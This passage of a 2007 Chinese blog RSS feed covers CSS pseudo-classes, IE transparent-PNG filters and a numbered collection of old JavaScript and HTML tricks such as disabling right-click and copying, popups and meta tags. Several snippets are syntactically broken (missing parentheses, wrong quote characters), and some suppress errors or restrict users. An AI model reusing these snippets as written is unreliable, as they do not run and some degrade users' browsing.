            <td><font size=2>设置页面容器位于装订线右边的所有页面使用的样式表属性。仅用于</font><a href="mk:@MSITStore:D:\study\css%20样式学习记录\css\CSS电子书.chm::/css2/a_page.html"><font color=#ffffff size=2>@page</font></a><font size=2>规则</font></td>
        </tr>
        <tr>
            <td><a class=no href="mk:@MSITStore:D:\study\css%20样式学习记录\css\CSS电子书.chm::/css2/p_lang.html"><font color=#ffffff size=2>:lang</font></a></td>
            <td><font size=2>CSS2</font></td>
            <td><span class=span2><font size=2>NONE</font></span></td>
            <td><font size=2>设置对象使用特殊语言的内容样式表属性</font></td>
        </tr>
    </tbody>
</table>
<br><font size=2>&nbsp;<br>&nbsp;<br>说明：<span class=wc>这种颜色</span>是CSS2标准伪类。<span class=ie>这种颜色</span>是IE建议样式表伪类。<span class=ns>这种颜色</span>是NS私有伪类。<span class=no>这种颜色</span>是目前尚无浏览器支持的伪类。</font></div>
<img src ="http://www.blogjava.net/sunbaby/aggbug/115260.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/sunbaby/" target="_blank">sunbaby</a> 2007-05-04 02:18 <a href="http://www.blogjava.net/sunbaby/articles/115260.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>IE下透明PNG图片的显示</title><link>http://www.blogjava.net/sunbaby/articles/115259.html</link><dc:creator>sunbaby</dc:creator><author>sunbaby</author><pubDate>Thu, 03 May 2007 17:30:00 GMT</pubDate><guid>http://www.blogjava.net/sunbaby/articles/115259.html</guid><description><![CDATA[<p style="FONT-SIZE: 12pt; FONT-FAMILY: Georgia">PNG(Portable Network Graphics)是W3C推荐的网页图片通用格式，但是Microsoft的IE6以下(IE7已经支持)没有把PNG的Alpha 通道打开，造成透明PNG图片的效果出不来。在Firefox、Opera下显示正常的透明PNG图片，在IE下浏览时就会带有灰色背景色，不透明的就像这样：</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Georgia">&nbsp;</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Georgia">解决方法之一是给透明PNG图片加一个滤镜：</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Georgia">&lt;div style="width:100%;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='透明PNG图片路径',sizingMethod='image')&gt;&lt;/div&gt;<br>或是用CSS的方式控制，把style写在CSS文件中，就不用每贴一张图都要写这么长的代码了。</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Georgia">PS：因为IE5.0以下不支持AlphaImageLoader滤镜，所以IE5.0以下就不能显示透明PNG效果了，不过现在还用IE5.0以下的恐怕是没人了吧。</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Georgia">关于AlphaImageLoader滤镜</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Georgia">&nbsp;</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Georgia">&nbsp;</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Georgia">语法：<br>filter: progid: DXImageTransform.Microsoft.AlphaImageLoader( enabled=bEnabled, sizingMethod=sSize, src=sURL)<br>属性：<br>enabled : 可选项。布尔值(Boolean)。设置或检索滤镜是否激活。true | false<br>　　　　　　true : 默认值。滤镜激活。<br>　　　　　　false : 滤镜被禁止。</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Georgia">sizingMethod : 可选项。字符串(String)。设置或检索滤镜作用的对象的图片在对象容器边界内的显示方式。 crop : 剪切图片以适应对象尺寸。<br>　　　　　　　　image : 默认值。增大或减小对象的尺寸边界以适应图片的尺寸。<br>　　　　　　　　scale : 缩放图片以适应对象的尺寸边界。 　　　　　　　</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Georgia">src : 必选项。字符串(String)。使用绝对或相对 url 地址指定背景图像。假如忽略此参数，滤镜将不会作用。</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Georgia">说明：<br>在对象容器边界内，在对象的背景和内容之间显示一张图片，并提供对此图片的剪切和改变尺寸的操作。如果载入的是PNG(Portable Network Graphics)格式，则0%-100%的透明度也被提供。<br>PNG(Portable Network Graphics)格式的图片的透明度不妨碍你选择文本。也就是说，你可以选择显示在PNG(Portable Network Graphics)格式的图片完全透明区域后面的内容。</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Georgia">&nbsp;</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Georgia">&nbsp;</p>
<img src ="http://www.blogjava.net/sunbaby/aggbug/115259.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/sunbaby/" target="_blank">sunbaby</a> 2007-05-04 01:30 <a href="http://www.blogjava.net/sunbaby/articles/115259.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>JS代码收藏大全</title><link>http://www.blogjava.net/sunbaby/articles/115258.html</link><dc:creator>sunbaby</dc:creator><author>sunbaby</author><pubDate>Thu, 03 May 2007 17:27:00 GMT</pubDate><guid>http://www.blogjava.net/sunbaby/articles/115258.html</guid><description><![CDATA[<p style="FONT-SIZE: 12pt; FONT-FAMILY: Georgia">1. oncontextmenu="window.event.returnvalue=false" 将彻底屏蔽鼠标右键<br>&lt;table border oncontextmenu=return(false)&gt;&lt;td&gt;no&lt;/table&gt; 可用于Table</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Georgia">2. &lt;body onselectstart="return false"&gt; 取消选取、防止复制</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Georgia">3. onpaste="return false" 不准粘贴</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Georgia">4. oncopy="return false;" oncut="return false;" 防止复制</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Georgia">5. &lt;link rel="Shortcut Icon" href="favicon.ico"&gt; IE地址栏前换成自己的图标</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Georgia">6. &lt;link rel="Bookmark" href="favicon.ico"&gt; 可以在收藏夹中显示出你的图标</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Georgia">7. &lt;input style="ime-mode:-Disabled"&gt; 关闭输入法</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Georgia">8. 永远都会带着框架<br>&lt;script language="javascript"&gt;&lt;!--<br>if (window == top)top.location.href = "frames.htm"; //frames.htm为框架网页<br>// --&gt;&lt;/script&gt;</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Georgia">9. 防止被人frame<br>&lt;SCRIPT LANGUAGE=javascript&gt;&lt;!-- <br>if (top.location != self.location)top.location=self.location;<br>// --&gt;&lt;/SCRIPT&gt;</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Georgia">10. 网页将不能被另存为<br>&lt;noscript&gt;&lt;iframe src=*.html&gt;&lt;/iframe&gt;&lt;/noscript&gt; </p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Georgia">11. &lt;input type=button value=查看网页源代码 <br>onclick="window.location = `view-source:`+ <a href="http://www.51js.com/">http://www.51js.com/</a>`";&gt;</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Georgia">12.删除时确认<br>&lt;a href=`if(confirm("确实要删除吗?"location="boos.asp?&amp;areyou=删除&amp;page=1"`&gt;删</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Georgia">除&lt;/a&gt; </p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Georgia">13. 取得控件的绝对位置<br>//javascript<br>&lt;script language="javascript"&gt;<br>function getIE(E){<br>var t=e.offsetTop;<br>var l=e.offsetLeft;<br>while(e=e.offsetParent){<br>t+=e.offsetTop;<br>l+=e.offsetLeft;<br>}<br>alert("top="+t+"/nleft="+l);<br>}<br>&lt;/script&gt;</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Georgia">//VBScript<br>&lt;script language="VBScript"&gt;&lt;!--<br>function getIE()<br>dim t,l,a,b<br>set a=document.all.img1<br>t=document.all.img1.offsetTop<br>l=document.all.img1.offsetLeft<br>while a.tagName&lt;&gt;"BODY"<br>set a = a.offsetParent<br>t=t+a.offsetTop<br>l=l+a.offsetLeft<br>wend<br>msgbox "top="&amp;t&amp;chr(13)&amp;"left="&amp;l,64,"得到控件的位置"<br>end function<br>--&gt;&lt;/script&gt;</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Georgia">14. 光标是停在文本框文字的最后<br>&lt;script language="javascript"&gt;<br>function cc()<br>{<br>var e = event.srcElement;<br>var r =e.createTextRange();<br>r.moveStart(`character`,e.value.length);<br>r.collapse(true);<br>r.select();<br>}<br>&lt;/script&gt;<br>&lt;input type=text name=text1 value="123" onfocus="cc()"&gt;</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Georgia">15. 判断上一页的来源</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Georgia">document.referrer</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Georgia">16. 最小化、最大化、关闭窗口<br>&lt;object id=hh1 classid="clsid:ADB880A6-D8FF-11CF-9377-00AA003B7A11"&gt; <br>&lt;param name="Command" value="Minimize"&gt;&lt;/object&gt;<br>&lt;object id=hh2 classid="clsid:ADB880A6-D8FF-11CF-9377-00AA003B7A11"&gt; <br>&lt;param name="Command" value="Maximize"&gt;&lt;/object&gt;<br>&lt;OBJECT id=hh3 classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11"&gt;<br>&lt;PARAM NAME="Command" value="Close"&gt;&lt;/OBJECT&gt;</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Georgia">&lt;input type=button value=最小化 onclick=hh1.Click()&gt;<br>&lt;input type=button value=最大化 onclick=hh2.Click()&gt;<br>&lt;input type=button value=关闭 onclick=hh3.Click()&gt;<br>本例适用于IE</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Georgia">17.屏蔽功能键Shift,Alt,Ctrl<br>&lt;script&gt;<br>function look(){ <br>if(event.shiftKey) <br>alert("禁止按Shift键!"; //可以换成ALT　CTRL<br>} <br>document.onkeydown=look; <br>&lt;/script&gt;</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Georgia">18. 网页不会被缓存<br>&lt;META HTTP-EQUIV="pragma" CONTENT="no-cache"&gt;<br>&lt;META HTTP-EQUIV="Cache-Control" CONTENT="no-cache, must-revalidate"&gt;<br>&lt;META HTTP-EQUIV="expires" CONTENT="Wed, 26 Feb 1997 08:21:57 GMT"&gt;<br>或者&lt;META HTTP-EQUIV="expires" CONTENT="0"&gt;</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Georgia">19.怎样让表单没有凹凸感？<br>&lt;input type=text style="border:1 solid #000000"&gt; <br>或<br>&lt;input type=text style="border-left:none; border-right:none; border-top:none; border-bottom: </p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Georgia">1 solid #000000"&gt;&lt;/textarea&gt;</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Georgia">20.&lt;div&gt;&lt;span&gt;&amp;&lt;layer&gt;的区别？ <br>&lt;div&gt;(division)用来定义大段的页面元素，会产生转行 <br>&lt;span&gt;用来定义同一行内的元素，跟&lt;div&gt;的唯一区别是不产生转行 <br>&lt;layer&gt;是ns的标记，ie不支持，相当于&lt;div&gt;</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Georgia">21.让弹出窗口总是在最上面:<br>&lt;body onblur="this.focus();"&gt;</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Georgia">22.不要滚动条? <br>让竖条没有: <br>&lt;body style=`overflow:-Scroll;overflow-y:hidden`&gt; <br>&lt;/body&gt; <br>让横条没有: <br>&lt;body style=`overflow:-Scroll;overflow-x:hidden`&gt; <br>&lt;/body&gt; <br>两个都去掉？更简单了 <br>&lt;body scroll="no"&gt; <br>&lt;/body&gt; </p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Georgia">23.怎样去掉图片链接点击后，图片周围的虚线？<br>&lt;a href="#" onFocus="this.blur()"&gt;&lt;img src="logo.jpg" border=0&gt;&lt;/a&gt;</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Georgia">24.电子邮件处理提交表单<br>&lt;form name="form1" method="post" action="<a href="&#109;&#97;&#105;&#108;&#116;&#111;&#58;&#42;&#42;&#42;&#42;&#64;&#42;&#42;&#42;&#46;&#99;&#111;&#109;">mailto:****@***.com</a>" enctype="text/plain"&gt; <br>&lt;input type=submit&gt;<br>&lt;/form&gt;</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Georgia">25.在打开的子窗口刷新父窗口的代码里如何写？<br>window.opener.location.reload()</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Georgia">26.如何设定打开页面的大小<br>&lt;body "top.resizeTo(300,200);"&gt;<br>打开页面的位置&lt;body "top.moveBy(300,200);"&gt;</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Georgia">27.在页面中如何加入不是满铺的背景图片,拉动页面时背景图不动 <br>&lt;style&gt; <br>body <br>{background-image:url(logo.gif); background-repeat:no-repeat; </p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Georgia">background-position:center;background-attachment: fixed} <br>&lt;/style&gt; </p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Georgia">28. 检查一段字符串是否全由数字组成<br>&lt;script language="javascript"&gt;&lt;!--<br>function checkNum(str){return str.match(//D/)==null}<br>alert(checkNum("1232142141"<br>alert(checkNum("123214214a1"<br>// --&gt;&lt;/script&gt;</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Georgia">29. 获得一个窗口的大小<br>document.body.clientWidth; document.body.clientHeight</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Georgia">30. 怎么判断是否是字符<br>if (/[^/x00-/xff]/g.test(s)) alert("含有汉字";<br>else alert("全是字符";</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Georgia">31.TEXTAREA自适应文字行数的多少<br>&lt;textarea rows=1 name=s1 cols=27 onpropertychange="this.style.posHeight=this.scrollHeight"&gt;<br>&lt;/textarea&gt;</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Georgia">32. 日期减去天数等于第二个日期<br>&lt;script language=javascript&gt;<br>function cc(dd,dadd)<br>{<br>//可以加上错误处理<br>var a = new Date(dd)<br>a = a.valueOf()<br>a = a - dadd * 24 * 60 * 60 * 1000<br>a = new Date(A)<br>alert(a.getFullYear() + "年" + (a.getMonth() + 1) + "月" + a.getDate() + "日"<br>}<br>cc("12/23/2002",2)<br>&lt;/script&gt;</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Georgia">33. 选择了哪一个Radio<br>&lt;HTML&gt;&lt;script language="vbscript"&gt;<br>function checkme()<br>for each ob in radio1<br>if ob.checked then window.alert ob.value<br>next<br>end function<br>&lt;/script&gt;&lt;BODY&gt;<br>&lt;INPUT name="radio1" type="radio" value="style" checked&gt;style<br>&lt;INPUT name="radio1" type="radio" value="barcode"&gt;Barcode<br>&lt;INPUT type="button" value="check" onclick="checkme()"&gt;<br>&lt;/BODY&gt;&lt;/HTML&gt;</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Georgia">34.脚本永不出错<br>&lt;SCRIPT LANGUAGE="javascript"&gt; <br>&lt;!-- Hide <br>function killErrors() { <br>return true; <br>} <br>window.onerror = killErrors; <br>// --&gt; <br>&lt;/SCRIPT&gt;</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Georgia">35.ENTER键可以让光标移到下一个输入框<br>&lt;input onkeydown="if(event.keyCode==13)event.keyCode=9"&gt;</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Georgia">36. 检测某个网站的链接速度：<br>把如下代码加入&lt;body&gt;区域中:<br>&lt;script language=javascript&gt;<br>tim=1<br>setInterval("tim++",100)<br>b=1</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Georgia">var autourl=new Array()<br>autourl[1]="<a href="http://www.njcatv.net/">http://www.njcatv.net/</a>";<br>autourl[2]="javacool.3322.net"<br>autourl[3]="<a href="http://www.sina.com.cn/">http://www.sina.com.cn/</a>";<br>autourl[4]="<a href="http://www.nuaa.edu.cn/">http://www.nuaa.edu.cn/</a>";<br>autourl[5]="<a href="http://www.cctv.com/">http://www.cctv.com/</a>";</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Georgia">function butt(){<br>document.write("&lt;form name=autof&gt;"<br>for(var i=1;i&lt;autourl.length;i++)<br>document.write("&lt;input type=text name=txt"+i+" size=10 value=测试中&#8230;&#8230;&gt; =》&lt;input type=text </p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Georgia">name=url"+i+" size=40&gt; =》&lt;input type=button value=GO </p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Georgia">onclick=window.open(this.form.url"+i+".value)&gt;&lt;br&gt;"<br>document.write("&lt;input type=submit value=刷新&gt;&lt;/form&gt;"<br>}<br>butt()<br>function auto(url){<br>document.forms[0]["url"+b].value=url<br>if(tim&gt;200)<br>{document.forms[0]["txt"+b].value="链接超时"}<br>else<br>{document.forms[0]["txt"+b].value="时间"+tim/10+"秒"}<br>b++<br>}<br>function run(){for(var i=1;i&lt;autourl.length;i++)document.write("&lt;img </p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Georgia">src=http://"+autourl+"/"+Math.random()+" width=1 height=1 </p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Georgia">onerror=auto(<a href='http://";+autourl/'>http://";+autourl</a>+"`)&gt;"}<br>run()&lt;/script&gt;</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Georgia">37. 各种样式的光标<br>auto ：标准光标<br>default ：标准箭头<br>hand ：手形光标<br>wait ：等待光标<br>text ：I形光标<br>vertical-text ：水平I形光标<br>no-drop ：不可拖动光标<br>not-allowed ：无效光标<br>help ：?帮助光标<br>all-scroll ：三角方向标<br>move ：移动标<br>crosshair ：十字标<br>e-resize<br>n-resize<br>nw-resize<br>w-resize<br>s-resize<br>se-resize<br>sw-resize</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Georgia">38.页面进入和退出的特效<br>进入页面&lt;meta http-equiv="Page-Enter" content="revealTrans(duration=x, transition=y)"&gt;<br>推出页面&lt;meta http-equiv="Page-Exit" content="revealTrans(duration=x, transition=y)"&gt; <br>这个是页面被载入和调出时的一些特效。Duration表示特效的持续时间，以秒为单位。Transition表示使</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Georgia">用哪种特效，取值为1-23:<br>　　0 矩形缩小 <br>　　1 矩形扩大 <br>　　2 圆形缩小<br>　　3 圆形扩大 <br>　　4 下到上刷新 <br>　　5 上到下刷新<br>　　6 左到右刷新 <br>　　7 右到左刷新 <br>　　8 竖百叶窗<br>　　9 横百叶窗 <br>　　10 错位横百叶窗 <br>　　11 错位竖百叶窗<br>　　12 点扩散 <br>　　13 左右到中间刷新 <br>　　14 中间到左右刷新<br>　　15 中间到上下<br>　　16 上下到中间 <br>　　17 右下到左上<br>　　18 右上到左下 <br>　　19 左上到右下 <br>　　20 左下到右上<br>　　21 横条 <br>　　22 竖条 <br>　　23 以上22种随机选择一种</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Georgia">39.在规定时间内跳转<br>&lt;META http-equiv=V="REFRESH" content="5;URL=http://www.51js.com"&gt; </p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Georgia">40.网页是否被检索<br>&lt;meta name="ROBOTS" content="属性值"&gt;<br>　　其中属性值有以下一些:<br>　　属性值为"all": 文件将被检索，且页上链接可被查询；<br>　　属性值为"none": 文件不被检索，而且不查询页上的链接；<br>　　属性值为"index": 文件将被检索；<br>　　属性值为"follow": 查询页上的链接；<br>　　属性值为"noindex": 文件不检索，但可被查询链接；<br>　　属性值为"nofollow": 文件不被检索，但可查询页上的链接。 </p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Georgia">41.变换网页的鼠标光标<br>&lt;BODY style="CURSOR: url(<a href="http://203.73.125.205/~liangmi2/farmfrog01.cur">http://203.73.125.205/~liangmi2/farmfrog01.cur</a>`)"&gt;</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Georgia">42.怎样实现在任务栏显示小图标的效果？ (要使用绝对地址)<br>有些站点，访问时会在地址栏地址前显出小图标，添加到收藏夹后也在收藏栏中显示图标，<br>这样很好的与其它站点有了区别。 <br>要达到这个效果，先需做出这个图标文件，图像为16*16像素，不要超过16色。文件格式为ico，然后上传至你的网站。<br>然后，在需要的页面中，加上以下html语句到文件的&lt;head&gt;和&lt;/head&gt;之间（假设以上ico文件的地址<a href="http://happyisland.126.com/icon.ico">http://happyisland.126.com/icon.ico</a>）。<br>&lt;link REL="SHORTCUT ICON"href="<a href="http:///happyisland.126.com/icon.ico">http:///happyisland.126.com/icon.ico</a>";&gt; <br>如果访问者的浏览器是IE5.0，就不需加任何代码，只要将图标文件上传到网站的根目录下即可。<br>1,META标签里的代码是什么意思？ <br>&lt;META&gt;是放于&lt;HEAD&gt;与&lt;/HEAD&gt;之间的标记.以下是我总结它在网页中最常见的几种。 <br>&lt;meta name="Keywords" content="图片, 新闻, 音乐, 软件"&gt; <br>该网页的关键字，作用于搜索引擎的登录，事实上它在现在的网站中并没什么用。 <br>&lt;meta http-equiv="Content-Type" content="text/html; charset=gb2312"&gt; <br>&lt;meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"&gt; <br>设定这是 HTML 文件及其编码语系，简体中文网页使用charset=gb2312，繁体中文使用charset=big5，或者不设编码也可，纯英文网页建议使用 iso-8859-1。 <br>&lt;meta name="GENERATOR" content="Microsoft FrontPage 5.0"&gt; <br>这只表示该网页由什么编辑器写的。 <br>&lt;meta http-equiv="refresh" content="10; url=http://www.hkiwc.com"&gt; <br>这行较为实用，能于预定秒数内自动转到指定网址。原代码中 10 表示 10秒。 </p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Georgia">2，怎么改变滚动条的颜色，只有ie5.5版本以上才能支持。 <br>这是使用CSS语言，在次说明一下，它和我的浏览器版本有一定的关系。 <br>scrollbar-arrow-color：上下按钮上三角箭头的颜色。 <br>scrollbar-base-color：滚动条的基本颜色。 <br>scrollbar-dark-shadow-color：立体滚动条强阴影的颜色 <br>scrollbar-face-color：立体滚动条凸出部分的颜色 <br>scrollbar-highlight-color：滚动条空白部分的颜色 <br>scrollbar-shadow-color立体滚动条阴影的颜色。<br>scrollbar-track-color:#99CC33;<br>scrollbar-3dlight-color:#A8CBF1; <br>代码如下： <br>&lt;style&gt; <br>&lt;!-- <br>BODY {<br>scrollbar-face-color:#99CC33;//(立体滚动条凸出部分的颜色) <br>scrollbar-highlight-color:#A8CBF1;//(滚动条空白部分的颜色) <br>scrollbar-shadow-color:#A8CBF1;//(立体滚动条阴影的颜色) <br>scrollbar-arrow-color:#FF9966;//(上下按钮上三角箭头的颜色) <br>scrollbar-base-color:#A8CBF1; //(滚动条的基本颜色) <br>scrollbar-darkshadow-color:#A8CBF1; //(立体滚动条强阴影的颜色)<br>scrollbar-track-color:#99CC33;<br>scrollbar-3dlight-color:#A8CBF1; <br>} <br>--&gt; <br>&lt;/style&gt; <br>在这我补充几点： <br>1.让浏览器窗口永远都不出现滚动条。 <br>&lt;body style="overflow-x:hidden;overflow-y:hidden"&gt;或&lt;body style="overflow:hidden"&gt; 或&lt;body scroll=no&gt; <br>2，没有水平滚动条 <br>&lt;body style="overflow-x:hidden"&gt; <br>3，没有垂直滚动条 <br>&lt;body style="overflow-y:hidden"&gt; </p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Georgia">3,如何给图片抖动怎做的. <br>&lt;SCRIPT language=javascript1.2&gt; <br>&lt;!-- <br>var rector=2 <br>var stopit=0 <br>var a=1 <br>var count=0 <br>function init(which){ <br>stopit=0 <br>shake=which <br>shake.style.left=0 <br>shake.style.top=0 <br>} <br>function rattleimage(){ <br>if ((!document.all&amp;&amp;!document.getElementById)||stopit==1||count==100) <br>return <br>count++ <br>if (a==1){ <br>shake.style.top=parseInt(shake.style.top)+rector <br>} <br>else if (a==2){ <br>shake.style.left=parseInt(shake.style.left)+rector <br>} <br>else if (a==3){ <br>shake.style.top=parseInt(shake.style.top)-rector <br>} <br>else{ <br>shake.style.left=parseInt(shake.style.left)-rector <br>} <br>if (a&lt;4) <br>a++ <br>else <br>a=1 <br>setTimeout("rattleimage()",50) <br>} <br>function stoprattle(which){ <br>stopit=1 <br>count=0 <br>which.style.left=0 <br>which.style.top=0 <br>} <br>//--&gt; <br>&lt;/SCRIPT&gt; <br>&lt;style&gt;.shakeimage {POSITION: relative} <br>&lt;/style&gt; <br>&lt;img src="图片的路径" onmouseout=stoprattle(this) onmouseover=init(this);rattleimage() class=shakeimage&gt;</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Georgia">4，在DW如何给水平线加颜色。 <br>在DW中没有此项设置，你只能在HTML中加入代码：&lt;hr color=red noshade&gt;按F12的预览在能看到。由于在NC中不支持&lt;hr&gt;的COLOR属性，所以在DW中没有此项设置。 <br>　　　 <br>5，如何在网页中实现flash的全屏播放？ <br>只要在调用swf文件的HTML中将WIDTH和HEIGHT的参数设为100％即可，当然也可以在Flash导出HTML文件的设置中进行设置，方法是：打开File菜单；选Publish Settings弹出导出设置对话框；在HTML标签下的Dimensions选项,下拉后选中Percent（百分比）,并在WIDTH 和HEIGHT框中填100.就行了。 </p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Georgia">6,为什么我在DW中插入的Flash动画缺看不找！ <br>如果你没有正确地安装Dreamweaver和Flash，那么在你预览的时候，Dreamweaver会提示你缺少播放的插件，请你按装InstallAXFlash.exe 并从新启动计算机。现在IE6已经捆绑这个程序。 </p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Georgia">7，在Flash中，如果屏蔽鼠标右键?FS命令都是什么意思? <br>fscommand ("fullscreen", "true/false";（全屏设置，TRUE开，FALSE关） <br>fscommand ("showmenu", "true/false";（右键菜单设置，TRUE显示，FALSE不显示） <br>fscommand ("allowscale", "true/false";（缩放设置，TRUE自由缩放，FALSE调整画面不影响影片本身的尺寸） <br>fscommand ("trapallkeys", "true/false";（快捷键设置，TRUE快捷键开，FALSE快捷键关） <br>fscommand ("exec";（EXE程序调用） <br>fscommand ("quit";（退出关闭窗口） </p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Georgia">8，Flash中什么是隐形按钮。 <br>利用button中的hit帧来制作只有感应区域而完全透明的按钮。 </p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Georgia">9，如何给Flash动画做链接。 <br>Dreamweaver是不能给Flash制作链接的，只能在Flash中用geturl()加链接，然后再插入Dreamweaver中。 </p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Georgia">10，DW中的层的技巧。 <br>层是可以嵌套的，我个人给大家一个技巧，在层面板中按住CTRL再拖放层到你想去成为其子层的地方就行了，我认为这是最简单直观的方法了。 </p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Georgia">11，如何改变鼠标的形状？ <br>在Dreamweaver4中CSS样式面板： <br>按CTR+SHIFT+E--出现样式表对话框,点击NEW，出现编辑对话框,在左边最后一项extensions-cursor 选择你要改的指针形式就可以了，然后把你要想改变的地方运用样式表，如果整页都有在&lt;body bgcolor="#003063" text="#ffffff" id=all&gt;中加入就行了。 <br>&lt;span style="cursor:X`&gt;样例&lt;/span&gt; <br>这里选择（文本）作为对象，还可以自己改为其他的，如link等。 <br>x可以等于=hand（手形）、crosshair（十字）、text（文本光标）、wait（顾名思义啦）、default（默认效果）、help（问号）、e-size（向右箭头）、ne-resize（向右上的箭头）、nw-resize（向左上的箭头）、w-resize（向左的箭头）、sw-resize（左下箭头）、s-resize（向下箭头）、se-resize（向右下箭头）、auto（系统自动给出效果）。 </p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Georgia">12，用CSS做邮票，看看吧！ <br>&lt;input type=button value=我象不象邮票？ style="height:80px;border:2px dashed #cccccc"&gt; </p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Georgia">13，经常上网的朋友可能会到过这样一些网站，一进入首页立刻会弹出一个窗口，怎么做呢！ <br>这javascript代码即可实现，摘录蓝色论坛。 <br>【1、最基本的弹出窗口代码】 <br>其实代码非常简单： <br>&lt;SCRIPT LANGUAGE="javascript"&gt; <br>&lt;!-- <br>window.open (`page.html`) <br>--&gt; <br>&lt;/SCRIPT&gt; <br>因为着是一段javascripts代码，所以它们应该放在&lt;SCRIPT LANGUAGE="javascript"&gt;标签和&lt;/script&gt;之间。&lt;!-- 和 --&gt;是对一些版本低的浏览器起作用，在这些老浏览器中不会将标签中的代码作为文本显示出来。要养成这个好习惯啊。 <br>window.open (`page.html`) 用于控制弹出新的窗口page.html，如果page.html不与主窗口在同一路径下，前面应写明路径，绝对路径(http://)和相对路径(../)均可。用单引号和双引号都可以，只是不要混用。 <br>这一段代码可以加入HTML的任意位置，&lt;head&gt;和&lt;/head&gt;之间可以，&lt;body bgcolor="#003063" text="#ffffff" id=all&gt;间&lt;/body&gt;也可以，越前越早执行，尤其是页面代码长，又想使页面早点弹出就尽量往前放。 <br>【2、经过设置后的弹出窗口】 <br>下面再说一说弹出窗口的设置。只要再往上面的代码中加一点东西就可以了。 <br>我们来定制这个弹出的窗口的外观，尺寸大小，弹出的位置以适应该页面的具体情况。 <br>&lt;SCRIPT LANGUAGE="javascript"&gt; <br>&lt;!-- <br>window.open (`page.html`, `newwindow`, `height=100, width=400, top=0,left=0, toolbar=no, menubar=no, scrollbars=no, resizable=no,location=no, status=no`) <br>//写成一行 <br>--&gt; <br>&lt;/SCRIPT&gt; <br>参数解释： 